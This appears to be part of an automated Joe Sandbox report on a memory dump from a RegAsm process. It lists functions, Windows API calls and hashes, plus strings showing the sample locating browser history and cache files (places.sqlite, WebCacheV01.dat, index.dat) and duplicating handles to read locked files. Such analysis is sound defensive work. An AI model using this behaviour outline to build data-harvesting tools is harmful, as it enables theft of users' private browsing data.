                      • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CloseFolderPathSpecialVersionmemsetwcscpy
                      • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                      • API String ID: 2925649097-2036018995
                      • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                      • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                      • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                      • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                      Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                      Download Yara Rule
                      APIs
                      • wcschr.MSVCRT ref: 00414458
                      • _snwprintf.MSVCRT ref: 0041447D
                      • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                      • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PrivateProfileString$Write_snwprintfwcschr
                      • String ID: "%s"
                      • API String ID: 1343145685-3297466227
                      • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                      • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                      • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                      • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                      Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004087D6
                        • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                        • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                      • memset.MSVCRT ref: 00408828
                      • memset.MSVCRT ref: 00408840
                      • memset.MSVCRT ref: 00408858
                      • memset.MSVCRT ref: 00408870
                      • memset.MSVCRT ref: 00408888
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                      • String ID:
                      • API String ID: 2911713577-0
                      • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                      • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                      • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                      • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                      Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcmp
                      • String ID: @ $SQLite format 3
                      • API String ID: 1475443563-3708268960
                      • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                      • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                      • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                      • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                      Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmpqsort
                      • String ID: /nosort$/sort
                      • API String ID: 1579243037-1578091866
                      • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                      • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                      • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                      • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                      Function 00413CA4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                      • GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModuleProcessTimes
                      • String ID: GetProcessTimes$kernel32.dll
                      • API String ID: 116129598-3385500049
                      • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                      • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                      • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                      • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                      Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040E60F
                      • memset.MSVCRT ref: 0040E629
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Strings
                      • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                      • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcslen$AttributesFileFolderPathSpecialwcscatwcscpy
                      • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                      • API String ID: 2887208581-2114579845
                      • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                      • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                      • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                      • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                      Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                      Download Yara Rule
                      APIs
                      • FindResourceW.KERNEL32(?,?,?), ref: 004148C3
                      • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                      • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                      • LockResource.KERNEL32(00000000), ref: 004148EF
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Resource$FindLoadLockSizeof
                      • String ID:
                      • API String ID: 3473537107-0
                      • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                      • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                      • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                      • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                      Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                      • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                      • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                      • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                      Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset
                      • String ID: only a single result allowed for a SELECT that is part of an expression
                      • API String ID: 2221118986-1725073988
                      • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                      • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                      • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                      • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                      Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcmp
                      • String ID: $$8
                      • API String ID: 1475443563-435121686
                      • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                      • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                      • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                      • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                      Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                        • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                        • Part of subcall function 0040E01E: DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                        • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                        • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                        • Part of subcall function 0040E01E: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                        • Part of subcall function 0040E01E: WriteFile.KERNEL32(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                        • Part of subcall function 0040E01E: UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                        • Part of subcall function 0040E01E: CloseHandle.KERNEL32(?), ref: 0040E13E
                      • CloseHandle.KERNEL32(000000FF), ref: 0040E582
                        • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                        • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                        • Part of subcall function 0040E2AB: memcpy.MSVCRT ref: 0040E3EC
                      • DeleteFileW.KERNEL32(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                      • CloseHandle.KERNEL32(000000FF), ref: 0040E5CA
                        • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                        • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                        • Part of subcall function 0040E175: ??3@YAXPAX@Z.MSVCRT ref: 0040E28B
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$Handle$Close$ProcessViewmemset$??3@CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintfmemcpywcschr
                      • String ID:
                      • API String ID: 2722907921-0
                      • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                      • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                      • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                      • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                      Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                        • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                        • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                        • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                      • memset.MSVCRT ref: 00403A55
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                        • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                        • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcscatwcslen$??3@$AttributesFilememcpywcscpy
                      • String ID: history.dat$places.sqlite
                      • API String ID: 3093078384-467022611
                      • Opcode ID: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                      • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                      • Opcode Fuzzy Hash: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                      • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                      Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00417570: SetFilePointer.KERNEL32(?,?,?,00000000), ref: 00417591
                        • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                        • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                      • ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0041761D
                      • GetLastError.KERNEL32 ref: 00417627
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$File$PointerRead
                      • String ID:
                      • API String ID: 839530781-0
                      • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                      • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                      • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                      • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                      Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FileFindFirst
                      • String ID: *.*$index.dat
                      • API String ID: 1974802433-2863569691
                      • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                      • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                      • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                      • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                      Function 004099F4 Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@mallocmemcpy
                      • String ID:
                      • API String ID: 3831604043-0
                      • Opcode ID: 7d74a04ce27a742131de704167b3a52b0161021cc553bd76998040dad9392745
                      • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                      • Opcode Fuzzy Hash: 7d74a04ce27a742131de704167b3a52b0161021cc553bd76998040dad9392745
                      • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                      Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                      Download Yara Rule
                      APIs
                      • SetFilePointer.KERNEL32(?,?,?,00000000), ref: 00417591
                      • GetLastError.KERNEL32 ref: 004175A2
                      • GetLastError.KERNEL32 ref: 004175A8
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLast$FilePointer
                      • String ID:
                      • API String ID: 1156039329-0
                      • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                      • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                      • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                      • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                      Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                      • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                      • CloseHandle.KERNEL32(00000000), ref: 0040A061
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$CloseCreateHandleTime
                      • String ID:
                      • API String ID: 3397143404-0
                      • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                      • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                      • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                      • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                      Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                      • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                      • GetTempFileNameW.KERNEL32(?,0040B827,00000000,?), ref: 00409A85
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Temp$DirectoryFileNamePathWindows
                      • String ID:
                      • API String ID: 1125800050-0
                      • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                      • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                      • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                      • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                      Function 004175B7 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 24sleepCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CloseHandleSleep
                      • String ID: }A
                      • API String ID: 252777609-2138825249
                      • Opcode ID: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                      • Instruction ID: 75b622f9be81829505acbf4f2e76dfbd2ea822dc2a3448742147a61f3b6dc806
                      • Opcode Fuzzy Hash: d8d89497e8f27404fcbaadc135fdc6127e9b1f5305c348180eeea445c8f3bba2
                      • Instruction Fuzzy Hash: B7E0CD3B1045156ED500577DDCC099773E9EF892347144226F171C25D0C6759C828524
                      Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset
                      • String ID: BINARY
                      • API String ID: 2221118986-907554435
                      • Opcode ID: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                      • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                      • Opcode Fuzzy Hash: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                      • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                      Function 00405220 Relevance: 3.1, APIs: 2, Instructions: 88COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                        • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                        • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                        • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                        • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                      • _mbscpy.MSVCRT ref: 00405250
                      • _mbscat.MSVCRT ref: 0040525B
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: LibraryLoad$DirectorySystem_mbscat_mbscpymemsetwcscatwcscpy
                      • String ID:
                      • API String ID: 568699880-0
                      • Opcode ID: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                      • Instruction ID: 606e4c6bb64acde45ccb9f726b040251bc13cbada001f714d968da5dd22dddd0
                      • Opcode Fuzzy Hash: aa271fa985e038ed7aa7a673401608462c82e67ac2ecc87e69baa60a0a084fe3
                      • Instruction Fuzzy Hash: 52212171A80F00DADA10BF769C4BB1F2694DF50715B10046FB158FA2D2EBBC95419A9D
                      Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp
                      • String ID: /stext
                      • API String ID: 2081463915-3817206916
                      • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                      • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                      • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                      • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                      Function 00409529 Relevance: 3.1, APIs: 2, Instructions: 66COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
